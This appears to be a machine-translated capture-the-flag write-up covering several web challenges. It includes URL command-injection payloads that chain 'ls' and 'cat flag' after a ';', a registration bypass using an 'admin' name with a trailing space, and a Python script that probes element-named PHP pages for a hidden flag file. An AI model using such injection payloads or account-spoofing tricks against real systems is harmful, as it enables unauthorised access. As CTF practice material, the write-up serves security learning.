web cute new game record

You can see that there is a system function.
In Linux, you can use ";" to isolate different statements

?url=127.0.0.1;ls;1

after that:

?url=127.0.0.1;cat%20flag;1

Give a hint

We enter the topic and see:

According to the prompt, let's register with register.php first.
Enter admin 1

. We enter the admin space 1 and

we log in (here, use admin without spaces to log in)

you are admin
then bypass the regular matching.
Let c be empty, bypass directly to get the flag

Translation: I am the master of all 118 elements! You may not feel it, but the symptoms of radioactive rays will silently kill you.

View the source code: I

found that the two strings of hexadecimal
numbers at the id are very strange, convert it to get 0x506F2E ==> Po.
0x706870 ==> php

Combined with the above, the script:

import requests

url='http://86512ce4-2a07-43e0-a9f6-edabc83ec7d5.node3.buuoj.cn/'
flag=''
element=['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
        'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br',
        'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te',
        'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm',
        'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn',
        'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
        'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']

for i in element:
        r=requests.get(url+i+'.php')
        if r.status_code == 200:
                flag+=r.text
print (flag)

Get the result And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php
access to get the flag